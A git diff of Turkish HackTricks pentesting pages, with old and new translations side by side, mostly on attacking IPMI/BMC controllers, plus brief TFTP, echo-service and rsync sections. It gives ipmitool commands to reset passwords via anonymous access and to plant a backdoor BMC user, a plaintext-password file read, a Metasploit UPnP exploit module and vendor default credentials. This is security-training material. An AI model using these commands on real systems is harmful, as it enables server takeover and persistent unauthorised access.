Birçok BMC'deki varsayılan yapılandırma, boş kullanıcı adı ve şifre dizeleri ile karakterize edilen "anonim" erişime izin verir. Bu yapılandırma, `ipmitool` kullanarak adlandırılmış kullanıcı hesaplarının şifrelerini sıfırlamak için istismar edilebilir:
|
||||
```bash
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
|
||||
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
|
||||
```
|
||||
### **Supermicro IPMI Açık Metin Şifreleri**
|
||||
### **Supermicro IPMI Düz Metin Parolaları**
|
||||
|
||||
IPMI 2.0'deki kritik bir tasarım seçimi, kimlik doğrulama amaçları için BMC'lerde açık metin şifrelerin depolanmasını gerektirir. Supermicro'nun bu şifreleri `/nv/PSBlock` veya `/nv/PSStore` gibi konumlarda depolaması ciddi güvenlik endişelerine neden olur:
|
||||
IPMI 2.0'daki kritik bir tasarım tercihi, kimlik doğrulama amaçları için BMC'lerde düz metin parolalarının depolanmasını gerektirir. Supermicro'nun bu parolaları `/nv/PSBlock` veya `/nv/PSStore` gibi yerlerde depolaması önemli güvenlik endişeleri doğurmaktadır:
|
||||
```bash
|
||||
cat /nv/PSBlock
|
||||
```
|
||||
### **Supermicro IPMI UPnP Zafiyeti**
|
||||
### **Supermicro IPMI UPnP Açığı**
|
||||
|
||||
Supermicro'nun IPMI firmware'inde UPnP SSDP dinleyicisinin bulunması, özellikle UDP portu 1900 üzerinde, ciddi bir güvenlik riski oluşturur. Intel SDK for UPnP Devices sürüm 1.3.1'deki zafiyetler, [Rapid7'nin açıklamasında](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) detaylı olarak belirtilmiştir ve BMC'ye kök erişim sağlar.
|
||||
Supermicro'nun IPMI firmware'ında, özellikle UDP port 1900'de bir UPnP SSDP dinleyicisi bulundurması, ciddi bir güvenlik riski oluşturur. [Rapid7'nin ifşasında](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) detaylandırıldığı gibi, UPnP Cihazları için Intel SDK sürüm 1.3.1'deki açıklar, BMC'ye root erişimi sağlar:
|
||||
```bash
|
||||
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
|
||||
```
|
||||
### Brute Force
|
||||
|
||||
**HP, Integrated Lights Out (iLO)** ürününde **üretim sırasında varsayılan şifreyi rastgeleleştirir**. Bu uygulama, diğer üreticilerin aksine, genellikle **sabit varsayılan kimlik bilgileri** kullanır. Çeşitli ürünler için varsayılan kullanıcı adları ve şifrelerinin özeti aşağıda verilmiştir:
|
||||
**HP, üretim sırasında varsayılan şifreyi rastgele belirler** ve bu, **Entegre Işık Yönetimi (iLO)** ürünü için geçerlidir. Bu uygulama, **statik varsayılan kimlik bilgileri** kullanma eğiliminde olan diğer üreticilerle tezat oluşturur. Çeşitli ürünler için varsayılan kullanıcı adları ve şifrelerin bir özeti aşağıda verilmiştir:
|
||||
|
||||
- **HP Integrated Lights Out (iLO)**, varsayılan şifre olarak **fabrika tarafından rastgeleleştirilmiş 8 karakterlik bir dize** kullanır ve daha yüksek bir güvenlik seviyesini sergiler.
|
||||
- **Dell'in iDRAC, IBM'in IMM** ve **Fujitsu'nun Integrated Remote Management Controller** gibi ürünler, sırasıyla "calvin", "PASSW0RD" (sıfır ile), ve "admin" gibi kolay tahmin edilebilir şifreler kullanır.
|
||||
- Benzer şekilde, **Supermicro IPMI (2.0), Oracle/Sun ILOM** ve **ASUS iKVM BMC** de "ADMIN", "changeme" ve "admin" gibi basit varsayılan kimlik bilgilerini kullanır.
|
||||
- **HP Entegre Işık Yönetimi (iLO)**, varsayılan şifre olarak **fabrika tarafından rastgele oluşturulmuş 8 karakterli bir dize** kullanır ve bu, daha yüksek bir güvenlik seviyesini gösterir.
|
||||
- **Dell'in iDRAC, IBM'in IMM** ve **Fujitsu'nun Entegre Uzaktan Yönetim Kontrolörü** gibi ürünler, sırasıyla "calvin", "PASSW0RD" (sıfır ile) ve "admin" gibi kolay tahmin edilebilir şifreler kullanır.
|
||||
- Benzer şekilde, **Supermicro IPMI (2.0), Oracle/Sun ILOM** ve **ASUS iKVM BMC** de "ADMIN", "changeme" ve "admin" gibi basit varsayılan kimlik bilgilerini kullanmaktadır.
|
||||
|
||||
## BMC Aracılığıyla Ana Bilgisayara Erişim
|
||||
|
||||
Ana kart Yönetim Denetleyicisi'nin (BMC) yönetici erişimi, ana bilgisayarın işletim sistemine erişmek için çeşitli yollar açar. Basit bir yaklaşım, BMC'nin Klavye, Video, Fare (KVM) işlevselliğini sömürmektir. Bunun için ya ana bilgisayarı GRUB üzerinden (`init=/bin/sh` kullanarak) bir kök kabuğuna yeniden başlatmak ya da kurtarma diski olarak ayarlanmış bir sanal CD-ROM'dan başlatmak yeterlidir. Bu yöntemler, ana bilgisayarın diskinin doğrudan manipülasyonunu, arka kapıların eklenmesini, veri çıkarılmasını veya güvenlik değerlendirmesi için gereken herhangi bir işlemi mümkün kılar. Ancak, bu, ana bilgisayarı yeniden başlatmayı gerektirir ve bu önemli bir dezavantajdır. Yeniden başlatma olmadan, çalışan ana bilgisayara erişmek daha karmaşık ve ana bilgisayarın yapılandırmasına bağlı olarak değişir. Eğer ana bilgisayarın fiziksel veya seri konsolu oturum açık kalıyorsa, BMC'nin KVM veya seri üzerinden ağ (sol) işlevselliği aracılığıyla kolayca ele geçirilebilir. i2c veri yolu ve Super I/O çipi gibi paylaşılan donanım kaynaklarının sömürülmesi, daha fazla araştırma gerektiren bir alandır.
|
||||
## Accessing the Host via BMC
|
||||
|
||||
## Ana Bilgisayardan BMC'ye Arka Kapı Eklemek
|
||||
Ana Kart Yönetim Kontrolörü (BMC) üzerinden yönetimsel erişim, ana bilgisayarın işletim sistemine erişim için çeşitli yollar açar. Basit bir yaklaşım, BMC'nin Klavye, Video, Fare (KVM) işlevselliğini kullanmaktır. Bu, ana bilgisayarı GRUB üzerinden bir root shell'e yeniden başlatarak (`init=/bin/sh` kullanarak) veya kurtarma diski olarak ayarlanmış sanal bir CD-ROM'dan başlatarak yapılabilir. Bu yöntemler, ana bilgisayarın diskini doğrudan manipüle etmeye, arka kapılar eklemeye, veri çıkarmaya veya güvenlik değerlendirmesi için gerekli herhangi bir eylemi gerçekleştirmeye olanak tanır. Ancak, bu ana bilgisayarı yeniden başlatmayı gerektirir, bu da önemli bir dezavantajdır. Yeniden başlatmadan, çalışan ana bilgisayara erişim daha karmaşık ve ana bilgisayarın yapılandırmasına bağlı olarak değişir. Ana bilgisayarın fiziksel veya seri konsolu oturum açmış durumda kalırsa, BMC'nin KVM veya LAN üzerinden seri (sol) işlevselliği aracılığıyla `ipmitool` kullanılarak kolayca ele geçirilebilir. Paylaşılan donanım kaynaklarının, örneğin i2c veri yolu ve Süper G/Ç yongası gibi, istismarını araştırmak, daha fazla inceleme gerektiren bir alandır.
|
||||
|
||||
Bir BMC ile donatılmış bir ana bilgisayarı ele geçirdikten sonra, **yerel BMC arayüzü kullanılarak bir arka kapı kullanıcı hesabı eklemek** ve sunucuda kalıcı bir varlık oluşturmak mümkündür. Bu saldırı, ele geçirilen ana bilgisayarda **`ipmitool`**'un bulunmasını ve BMC sürücü desteğinin etkinleştirilmesini gerektirir. Aşağıdaki komutlar, bir yeni kullanıcı hesabının, kimlik doğrulaması gerektirmeyen yerel arayüzü kullanarak BMC'ye nasıl enjekte edileceğini göstermektedir. Bu teknik, Linux, Windows, BSD ve hatta DOS gibi geniş bir işletim sistemleri yelpazesinde uygulanabilir.
|
||||
## Introducing Backdoors into BMC from the Host
|
||||
|
||||
BMC ile donatılmış bir ana bilgisayarı tehlikeye attıktan sonra, **yerel BMC arayüzü, arka kapı kullanıcı hesabı eklemek için kullanılabilir** ve bu, sunucuda kalıcı bir varlık oluşturur. Bu saldırı, tehlikeye atılmış ana bilgisayarda **`ipmitool`** bulunmasını ve BMC sürücü desteğinin etkinleştirilmesini gerektirir. Aşağıdaki komutlar, kimlik doğrulama gereksinimini atlayarak ana bilgisayarın yerel arayüzü kullanılarak BMC'ye yeni bir kullanıcı hesabının nasıl enjekte edilebileceğini göstermektedir. Bu teknik, Linux, Windows, BSD ve hatta DOS dahil olmak üzere geniş bir işletim sistemi yelpazesine uygulanabilir.
|
||||
```bash
|
||||
ipmitool user list
|
||||
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
||||
|
@ -133,20 +128,21 @@ ID Name Callin Link Auth IPMI Msg Channel Priv Limit
|
|||
|
||||
* `port:623`
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna **PR göndererek** paylaşın.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme konusunu</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -19,24 +20,24 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
|
||||
# Temel Bilgiler
|
||||
|
||||
**Basit Dosya Transfer Protokolü (TFTP)**, kimlik doğrulaması gerektirmeyen dosya transferlerine izin veren **UDP port 69** üzerinde kullanılan basit bir protokoldür. **RFC 1350**'de vurgulanan, basitliği nedeniyle temel güvenlik özelliklerinden yoksun olup bu durum genellikle genel İnternet'te sınırlı kullanımına neden olur. Bununla birlikte, **TFTP**, **VoIP telefonları** gibi cihazlara **konfigürasyon dosyaları** ve **ROM görüntüleri** dağıtmak için büyük iç ağlarda verimliliği nedeniyle yaygın olarak kullanılmaktadır.
|
||||
**Trivial File Transfer Protocol (TFTP)**, **UDP port 69** üzerinde kullanılan basit bir protokoldür ve dosya transferlerine kimlik doğrulama gerektirmeden olanak tanır. **RFC 1350**'de vurgulanan bu protokolün basitliği, anahtar güvenlik özelliklerinden yoksun olmasına neden olur ve bu da kamu internetinde sınırlı kullanımına yol açar. Ancak, **TFTP**, büyük iç ağlarda **konfigürasyon dosyaları** ve **ROM görüntüleri** gibi dosyaları **VoIP telefonları** gibi cihazlara dağıtmak için yaygın olarak kullanılmaktadır; çünkü bu belirli senaryolarda verimliliği yüksektir.
|
||||
|
||||
**YAPILACAKLAR**: Bir Bittorrent izleyicisi nedir hakkında bilgi sağlayın (Shodan bu bağlantı noktasını bu adla tanımlar). Bu konuda daha fazla bilgi sahibiyseniz bize bildirin, örneğin [**HackTricks telegram grubunda**](https://t.me/peass) (veya [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) github sorununda).
|
||||
**TODO**: Bittorrent-tracker nedir hakkında bilgi sağlayın (Shodan bu portu bu isimle tanımlar). Bu konuda daha fazla bilginiz varsa, lütfen bize bildirin, örneğin [**HackTricks telegram grubunda**](https://t.me/peass) (veya [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) github sorununda).
|
||||
|
||||
**Varsayılan Bağlantı Noktası:** 69/UDP
|
||||
**Varsayılan Port:** 69/UDP
|
||||
```
|
||||
PORT STATE SERVICE REASON
|
||||
69/udp open tftp script-set
|
||||
```
|
||||
# Enumerasyon
|
||||
# Enumeration
|
||||
|
||||
TFTP dizin listeleme sağlamadığından, `nmap` içerisinde bulunan `tftp-enum` betiği varsayılan yolları brute-force deneyecektir.
|
||||
TFTP dizin listesini sağlamaz, bu nedenle `nmap`'ten `tftp-enum` scripti varsayılan yolları brute-force ile denemeye çalışacaktır.
|
||||
```bash
|
||||
nmap -n -Pn -sU -p69 -sV --script tftp-enum <IP>
|
||||
```
|
||||
## İndirme/Yükleme
|
||||
|
||||
Dosyaları indirip/yükleyebilirsiniz, bunun için Metasploit veya Python kullanabilirsiniz:
|
||||
Metasploit veya Python kullanarak dosyaları indirip/yükleyip yükleyemeyeceğinizi kontrol edebilirsiniz:
|
||||
```bash
|
||||
msf5> auxiliary/admin/tftp/tftp_transfer_util
|
||||
```
|
||||
|
@ -57,16 +58,17 @@ client.upload("filename to upload", "/local/path/file", timeout=5)
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family**]'yi keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**] (https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,17 @@
|
|||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -23,9 +24,9 @@ HackTricks'ı desteklemenin diğer yolları:
|
|||
|
||||
# Temel Bilgiler
|
||||
|
||||
Bu ana makinede bir echo servisi çalışıyor. Echo servisi test ve ölçüm amaçlarıyla tasarlanmış olup hem TCP hem de UDP protokollerinde dinleyebilir. Sunucu aldığı herhangi bir veriyi değiştirmeden geri gönderir.\
|
||||
**Aynı veya başka bir makinedeki echo servisine bağlanarak hizmet reddine neden olmak mümkündür**. Üretilen aşırı yüksek paket sayısı nedeniyle etkilenen makineler hizmet dışı bırakılabilir.\
|
||||
Bilgi: [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/)
|
||||
Bu hostta bir echo servisi çalışıyor. Echo servisi test ve ölçüm amaçları için tasarlanmış olup hem TCP hem de UDP protokollerinde dinleyebilir. Sunucu aldığı verileri, herhangi bir değişiklik yapmadan geri gönderir.\
|
||||
**Aynı veya başka bir makinedeki echo servisine bağlanarak bir hizmet reddi (denial of service) oluşturmak mümkündür**. Üretilen aşırı yüksek paket sayısı nedeniyle, etkilenen makineler etkili bir şekilde hizmet dışı kalabilir.\
|
||||
Bilgi [https://www.acunetix.com/vulnerabilities/web/echo-service-running/](https://www.acunetix.com/vulnerabilities/web/echo-service-running/) adresinden alınmıştır.
|
||||
|
||||
**Varsayılan Port:** 7/tcp/udp
|
||||
```
|
||||
|
@ -33,7 +34,7 @@ PORT STATE SERVICE
|
|||
7/udp open echo
|
||||
7/tcp open echo
|
||||
```
|
||||
## Echo servisine bağlanma (UDP)
|
||||
## İletişim Echo servisi (UDP)
|
||||
```bash
|
||||
nc -uvn <IP> 7
|
||||
Hello echo #This is wat you send
|
||||
|
@ -43,7 +44,7 @@ Hello echo #This is the response
|
|||
|
||||
* `port:7 echo`
|
||||
|
||||
## Referanslar
|
||||
## References
|
||||
|
||||
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)
|
||||
|
||||
|
@ -56,16 +57,17 @@ Hello echo #This is the response
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Sıfırdan Kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
|
||||
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,49 +1,34 @@
|
|||
# 873 - Rsync Pentest
|
||||
# 873 - Pentesting Rsync
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
HackTricks'ı desteklemenin diğer yolları:
|
||||
|
||||
* **Şirketinizi HackTricks'te reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
|
||||
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
|
||||
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
|
||||
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**.
|
||||
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Temel Bilgiler**
|
||||
|
||||
[wikipedia](https://en.wikipedia.org/wiki/Rsync)'dan alınan bilgilere göre:
|
||||
From [wikipedia](https://en.wikipedia.org/wiki/Rsync):
|
||||
|
||||
